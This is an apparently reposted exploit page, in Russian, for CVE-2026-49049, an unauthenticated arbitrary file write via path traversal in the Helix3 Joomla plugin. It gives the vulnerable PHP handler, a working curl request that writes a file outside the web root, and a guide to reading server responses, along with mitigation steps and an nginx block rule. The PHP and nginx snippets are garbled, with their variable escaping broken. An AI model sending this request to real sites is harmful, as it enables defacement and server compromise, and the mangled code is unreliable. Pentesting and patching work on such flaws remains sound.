Sploitus

Exploit for CVE-2026-49049

kitploit · 2026-08-31

Exploit Code

MARKDOWN119 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-DR-D25-CVE-2026-49049
# Исследование уязвимости CVE-2026-49049: Unauthenticated Arbitrary File Write в JoomShaper Helix3 (Joomla)

Репозиторий содержит материалы, технический анализ и Proof of Concept (PoC) для критической уязвимости **CVE-2026-49049** , обнаруженной в устаревшем фреймворке шаблонов **Helix3 от JoomShaper** для CMS Joomla (версии от 1.0 до 3.1.0 включительно).

Уязвимость активно эксплуатируется в дикой природе автоматизированными ботнетами (в частности, в рамках дефейс-кампании **AntonKill**).

* * *

## 🔬 Технический анализ уязвимости

Проблема кроется в системном AJAX-обработчике Joomla (`com_ajax`), который вызывает метод `onAjaxHelix3()` в плагине `plg_ajax_helix3`. Разработчики компонента не предусмотрели:

  1. Проверку авторизации пользователя (Authentication Bypass).
  2. Проверку CSRF-токенов.
  3. Фильтрацию путей (Path Traversal Validation) при обработке параметра `layoutName`.



### Логика уязвимого PHP-кода:

root@kitploit:~
    
    
    public function onAjaxHelix3() {
        \$input = Factory::getApplication()->input;
        \(data  =\)input->post->get('data', [], 'array');
        \(action =\)data['action'];
        \(layoutName =\)data['layoutName'];
    
        // Отсутствует проверка прав! Отсутствует фильтрация пути!
        \$filepath = \(layoutPath .\)layoutName; 
    
        switch (\$action) {
            case 'save':
                // Запись контролируемых данных в произвольную директорию сервера
                fwrite(fopen(\(filepath . '.json', 'wb'),\)data['content']);
                break;
        }
    }
    

* * *

## 🛠 Proof of Concept (PoC)

Для верификации уязвимости используется POST-запрос с типом контента `application/x-www-form-urlencoded`. Данный метод упаковки параметров является наиболее эффективным для демонстрации бреши.

### Вектор атаки (cURL-команда):

root@kitploit:~
    
    
    curl -sk -X POST \
      'https://target.com' \
      -d 'data[action]=save&data[layoutName]=../../../../../../../example&data[content]={"probe":"test"}'
    

### Подробный разбор передаваемых данных:

* * *

## 🎯 Анализ ответов сервера (Фирмы валидации)

При проведении тестирования на проникновение сервер может вернуть разные типы ответов. Их интерпретация критически важна:

### Вариант А: Уязвимость успешно отработала (Файл записан)

**Ответ сервера:**

root@kitploit:~
    
    
    {"success":true,"message":null,"messages":null,"data":[]}
    

_Интерпретация:_ Плагин уязвим, ограничения ОС отсутствуют. Файл успешно создан в корне сайта и доступен по адресу `https://target.com`. Сайт требует немедленной очистки и изоляции.

### Вариант Б: Плагин уязвим, но сработала защита операционной системы

**Ответ сервера:**

root@kitploit:~
    
    
    {
      "success":false,
      "message":"fwrite(): Argument #1 (\$stream) must be of type resource, bool given",
      "messages":null,
      "data":null
    }
    

_Интерпретация:_ **Частичный успех.** Логика плагина Helix3 нарушена — он принял данные без авторизации и попытался открыть файл на запись (`fopen`). Однако операционная система Linux заблокировала это действие, так как у пользователя веб-сервера (например, `www-data`) **нет прав на запись в корень сайта**.

### Вариант В: Система защищена (Обновлена или удалена)

**Ответ сервера:** Статус `404 Not Found`, `403 Forbidden` или пустой ответ `[]`. _Интерпретация:_ Плагин обновлен до безопасной версии (3.1.1+), где добавлена проверка авторизации, либо полностью удален из CMS.

* * *

## 🛡 Митигация и устранение угрозы

  1. **Обновление / Удаление:** Обновите Helix3 до версии **3.1.1** или выше. Если фреймворк не используется, полностью удалите плагин `plg_ajax_helix3` через панель администратора Joomla.
  2. **Защита на уровне WAF (Nginx):** Добавьте правило для блокировки вредоносных POST-запросов: 

root@kitploit:~
         
         if (\(request_method = POST) { set\)test "P"; }
         if (\$arg_plugin = "helix3") { set \(test "\){test}H"; }
         if (\$test = PH) { return 403; }
         




* * *

_Disclaimer: Данный материал предоставлен исключительно в образовательных целях и для легитимного аудита безопасности систем (Pentesting). Автор не несет ответственности за неправомерное использование предоставленной информации._